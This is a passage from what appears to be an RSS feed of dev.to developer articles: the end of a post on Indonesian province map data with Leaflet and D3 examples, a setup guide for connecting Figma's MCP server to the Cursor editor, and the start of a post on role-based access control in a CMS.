&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;L&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;leaflet&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;indonesiaProvinces&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;./indonesia-38-provinces.geojson&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="nx"&gt;L&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;geoJSON&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;indonesiaProvinces&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;style&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;color&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;#1e40af&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;weight&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;fillOpacity&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mf"&gt;0.6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="p"&gt;},&lt;/span&gt;
  &lt;span class="na"&gt;onEachFeature&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;feature&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;layer&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;layer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;bindPopup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;feature&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;properties&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;province&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="p"&gt;}).&lt;/span&gt;&lt;span class="nf"&gt;addTo&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;map&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Example: Using TopoJSON with D3
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="nx"&gt;d3&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;d3&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;feature&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;topojson-client&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="c1"&gt;// Import TopoJSON file (Vite / Webpack / Next.js supported)&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;topoData&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;./indonesia-38-provinces.topo.json&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;width&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;800&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;height&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;600&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;svg&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;d3&lt;/span&gt;
  &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;select&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;#map&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;svg&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;attr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;width&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;width&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;attr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;height&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;height&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;projection&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;d3&lt;/span&gt;
  &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;geoMercator&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
  &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;fitSize&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="nx"&gt;width&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;height&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nf"&gt;feature&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;topoData&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;topoData&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;objects&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;indonesia_provinces&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;path&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;d3&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;geoPath&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;projection&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;projection&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;// Convert TopoJSON → GeoJSON&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;provinces&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;feature&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
  &lt;span class="nx"&gt;topoData&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nx"&gt;topoData&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;objects&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;indonesia_provinces&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="nx"&gt;svg&lt;/span&gt;
  &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;selectAll&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;path&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;data&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;provinces&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;features&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;enter&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
  &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;path&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;attr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;d&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;path&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;attr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;fill&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;#60a5fa&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;attr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;stroke&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;#1e3a8a&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;title&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;text&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;d&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;d&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;properties&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;province&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Download
&lt;/h2&gt;

&lt;p&gt;You can download the datasets directly from the repository:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/denyherianto/indonesia-geojson-topojson-maps-with-38-provinces" rel="noopener noreferrer"&gt;https://github.com/denyherianto/indonesia-geojson-topojson-maps-with-38-provinces&lt;/a&gt;&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>javascript</category>
      <category>performance</category>
      <category>resources</category>
    </item>
    <item>
      <title>Simplifying Figma MCP Server: How to Start in Minutes</title>
      <dc:creator>Deny Herianto</dc:creator>
      <pubDate>Mon, 03 Nov 2025 15:19:53 +0000</pubDate>
      <link>https://dev.to/denyherianto/figma-mcp-server-3o8p</link>
      <guid>https://dev.to/denyherianto/figma-mcp-server-3o8p</guid>
      <description>&lt;h2&gt;
  
  
  Overview
&lt;/h2&gt;

&lt;p&gt;Unlock efficient design-to-code workflows by connecting Figma to Cursor using the Model Context Protocol (MCP) server. This guide covers both the official Figma Dev Mode MPC server and community alternatives, offering actionable steps, troubleshooting, and best practices.&lt;/p&gt;

&lt;h2&gt;
  
  
  What is MCP and Why Use It?
&lt;/h2&gt;

&lt;p&gt;MCP (Model Context Protocol) lets tools like Cursor read and translate Figma design context directly, speeding up token extraction and React/Tailwind code generation. Developers can automate UI component mapping and asset extraction, improving accuracy and workflow efficiency.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why this matters
&lt;/h2&gt;

&lt;p&gt;If you’ve ever felt the gap between &lt;strong&gt;designer’s Figma file&lt;/strong&gt; and &lt;strong&gt;developer’s codebase&lt;/strong&gt;, you’re not alone. The MCP (Model Context Protocol) Server in Figma brings more than just a screenshot. It brings actual design context into your development tools so you generate code that truly matches your design system, not just in look, but in structure too.&lt;/p&gt;




&lt;h2&gt;
  
  
  What is the Figma MCP Server?
&lt;/h2&gt;

&lt;p&gt;In simple terms: it’s a bridge between your Figma designs and your development environment.  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;It surfaces variables, components, layouts, style tokens and more from Figma into your IDE, so AI-assisted tools (or manual workflows) know &lt;em&gt;exactly&lt;/em&gt; what you meant when you sketched that button or card.&lt;/li&gt;
&lt;li&gt;Instead of feeding an image or a PDF, you’re giving your tools &lt;em&gt;data&lt;/em&gt;—and data = better accuracy, fewer mis-aligned features, less “why does this look different in code” drama.
&lt;/li&gt;
&lt;li&gt;Ideal if you have a design system, or want one, and you want to reduce friction between designers and developers.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  A) Official way (recommended): Figma Dev Mode MCP → Cursor
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Prerequisites:
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Figma Desktop app (latest) with a &lt;strong&gt;Dev or Full seat&lt;/strong&gt; on Professional/Organization/Enterprise. (&lt;a href="https://help.figma.com/hc/en-us/articles/32132100833559-Guide-to-the-Dev-Mode-MCP-Server" rel="noopener noreferrer"&gt;Guide to the Figma MCP server&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;Cursor (latest) with MCP enabled. (&lt;a href="https://docs.cursor.com/en/context/mcp" rel="noopener noreferrer"&gt;Model Context Protocol (MCP) | Cursor Docs&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Steps:
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Turn on the MCP server in Figma Desktop&lt;/strong&gt;&lt;br&gt;
a. Open Figma Desktop → Menu → &lt;strong&gt;Preferences → Enable Dev Mode MCP Server&lt;/strong&gt;.&lt;br&gt;
b. You’ll see it’s running locally at: &lt;a href="http://127.0.0.1:3845/mcp" rel="noopener noreferrer"&gt;http://127.0.0.1:3845/mcp&lt;/a&gt;. Keep that URL. &lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Add the server in Cursor&lt;/strong&gt;&lt;br&gt;
Cursor → &lt;strong&gt;Settings → Cursor Settings → MCP → + Add new global MCP server&lt;/strong&gt;, then use this config:&lt;br&gt;
&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
     &lt;/span&gt;&lt;span class="nl"&gt;"mcpServers"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
       &lt;/span&gt;&lt;span class="nl"&gt;"Figma"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
         &lt;/span&gt;&lt;span class="nl"&gt;"url"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"http://127.0.0.1:3845/mcp"&lt;/span&gt;&lt;span class="w"&gt;
       &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
     &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
   &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol start="3"&gt;
  &lt;li&gt;&lt;strong&gt;Verify it worked&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Open Cursor chat (Agent/Composer). Type &lt;code&gt;#get_code&lt;/code&gt; to see Figma tools (e.g., &lt;code&gt;get_code&lt;/code&gt;, &lt;code&gt;get_variable_defs&lt;/code&gt;, optionally &lt;code&gt;get_image&lt;/code&gt;). If nothing shows, restart both Figma Desktop and Cursor. &lt;/p&gt;

&lt;ol start="4"&gt;
  &lt;li&gt;&lt;strong&gt;Use it (two easy flows)&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Selection-based:&lt;/strong&gt; select a frame/layer in Figma, then prompt Cursor to generate code for your selection.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Link-based:&lt;/strong&gt; copy a Figma frame/layer link, paste it in chat, and ask for code/tokens.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Available tools include:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;get_code&lt;/code&gt; → produces React+Tailwind by default (you can ask for Next.js/Vue/etc.).&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;get_variable_defs&lt;/code&gt; → lists variables/styles used (great for tokens).&lt;/li&gt;
&lt;li&gt;Enable &lt;strong&gt;Preferences → Dev Mode MCP Server Settings → get_image&lt;/strong&gt; to include screenshots for layout fidelity; also enable &lt;strong&gt;Code Connect&lt;/strong&gt; to map Figma nodes to your components. &lt;/li&gt;
&lt;/ul&gt;

&lt;ol start="5"&gt;
  &lt;li&gt;&lt;strong&gt;Troubleshooting quick hits&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;ul&gt;
&lt;li&gt;Must be &lt;strong&gt;Figma Desktop&lt;/strong&gt; (server runs locally over SSE). Check the URL/port &lt;a href="http://localhost:3845/mcp" rel="noopener noreferrer"&gt;http://localhost:3845/mcp&lt;/a&gt;. &lt;/li&gt;
&lt;li&gt;In Cursor, you can view &lt;strong&gt;MCP Logs&lt;/strong&gt; (Output panel → “MCP Logs”) to see connection errors/timeouts. &lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  B) Alternative: Community Figma MCP server (stdio / token-based)
&lt;/h2&gt;

&lt;p&gt;If you want a standalone MCP server that talks to Figma’s REST API (handy for headless/remote setups or deeper API methods), you can run one locally and point Cursor at it.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Pick a server&lt;/strong&gt;&lt;br&gt;
Example:&lt;br&gt;
&lt;a href="https://github.com/GLips/Figma-Context-MCP" rel="noopener noreferrer"&gt;GitHub - GLips/Figma-Context-MCP: MCP server to provide Figma layout information to AI coding agents like Cursor&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Get a Figma Personal Access Token (PAT)&lt;/strong&gt;&lt;br&gt;
Figma → Settings → Security → Personal access tokens → Generate new token (copy it once). &lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Add the Framelink Figma MCP server to your IDE&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"mcpServers"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"Framelink Figma MCP"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"command"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"npx"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"args"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="s2"&gt;"-y"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="s2"&gt;"figma-developer-mcp"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="s2"&gt;"--figma-api-key=YOUR-KEY"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="s2"&gt;"--stdio"&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  How to Use:
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Option 1: Select a Frame, Then Chat in Cursor
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Open the Design&lt;/strong&gt;&lt;br&gt;
a. In &lt;strong&gt;Figma Desktop&lt;/strong&gt;, open your file.&lt;br&gt;
b. Click the &lt;strong&gt;frame or section&lt;/strong&gt; you want (e.g. Hero, Pricing Page, Dashboard).&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Generate Tokens (recommended)&lt;/strong&gt;&lt;br&gt;
In &lt;strong&gt;Cursor chat&lt;/strong&gt;, type: &lt;code&gt;#get_variable_defs&lt;/code&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Cursor shows colors, fonts, spacing used in your selection.&lt;/li&gt;
&lt;li&gt;Save these into tokens.ts or tailwind.config.ts.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Generate Code&lt;/strong&gt;&lt;br&gt;
a. In Cursor chat, type: &lt;code&gt;#get_code&lt;/code&gt;&lt;br&gt;
b. Then add a prompt like: &lt;code&gt;Generate a Next.js page with React + Tailwind from my current selection. Use components from @/components/ui. Map all values to tokens, no hardcoded hex or px.&lt;/code&gt;&lt;br&gt;
c. Cursor will create page.tsx (and child components if needed).&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Refine&lt;/strong&gt;&lt;br&gt;
a. If output uses plain , ask Cursor: &lt;code&gt;Replace raw buttons with my &amp;lt;Button /&amp;gt; component.&lt;/code&gt;&lt;br&gt;
b. Keep iterating until it matches your system.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Option 2: Copy &amp;amp; Paste a Figma Link
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Get the Link&lt;/strong&gt;&lt;br&gt;
In &lt;strong&gt;Figma&lt;/strong&gt;, right-click the frame → &lt;strong&gt;Copy/Paste → Copy link&lt;/strong&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Paste into Cursor&lt;/strong&gt;&lt;br&gt;
In Cursor chat, paste the link. Example: &lt;code&gt;https://www.figma.com/file/xxxxxx?node-id=123-456&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Ask for Code&lt;/strong&gt;&lt;br&gt;
After the link, add a prompt: &lt;code&gt;Turn this Figma frame into a responsive Next.js page using React + Tailwind. Use my components in @/components/ui. Map to tokens from get_variable_defs.&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Export Assets (if needed)&lt;/strong&gt;&lt;br&gt;
Ask Cursor: &lt;code&gt;Export images/vectors from this frame into public/assets/... and update imports.&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  Which option to Use?
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Frame selection&lt;/strong&gt; → Best when you already have Figma open. The MCP server passes selection data directly.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Copy link&lt;/strong&gt; → Best when someone shares a link in Slack/Docs. Cursor fetches design data for that node.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>mcp</category>
      <category>figma</category>
      <category>ai</category>
    </item>
    <item>
      <title>Mastering Role-Based Access Control in Your Javascript CMS</title>
      <dc:creator>Deny Herianto</dc:creator>
      <pubDate>Mon, 03 Nov 2025 14:35:43 +0000</pubDate>
      <link>https://dev.to/denyherianto/mastering-role-based-access-control-in-your-cms-4n0m</link>
      <guid>https://dev.to/denyherianto/mastering-role-based-access-control-in-your-cms-4n0m</guid>
      <description>&lt;h2&gt;
  
  
  Implementing Role-Based Access Control (RBAC) in a CMS Frontend
&lt;/h2&gt;

&lt;p&gt;Role-Based Access Control (RBAC) is a critical part of building secure, maintainable, and scalable content management systems (CMS). This article explores the strategies, pitfalls, and best practices for implementing RBAC, particularly in React and Next.js environments, with a focus on configuration, code structure, and practical application.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why RBAC Matters in CMS
&lt;/h2&gt;

&lt;p&gt;A CMS empowers experts to manage digital content without deep technical knowledge, saving organizations significant time and resources. However, with convenience comes the need for strict security and efficient workflows. RBAC ensures that only authorized users access sensitive data and critical site features, helping maintain integrity and compliance.&lt;/p&gt;




&lt;h2&gt;
  
  
  Roles
&lt;/h2&gt;

&lt;p&gt;Roles are a critical part of ensuring the safety of the data stored in a CMS, creating efficient workflows, building independent teams. Each role has specific permissions that the user is allowed to perform and view in the CMS.&lt;/p&gt;

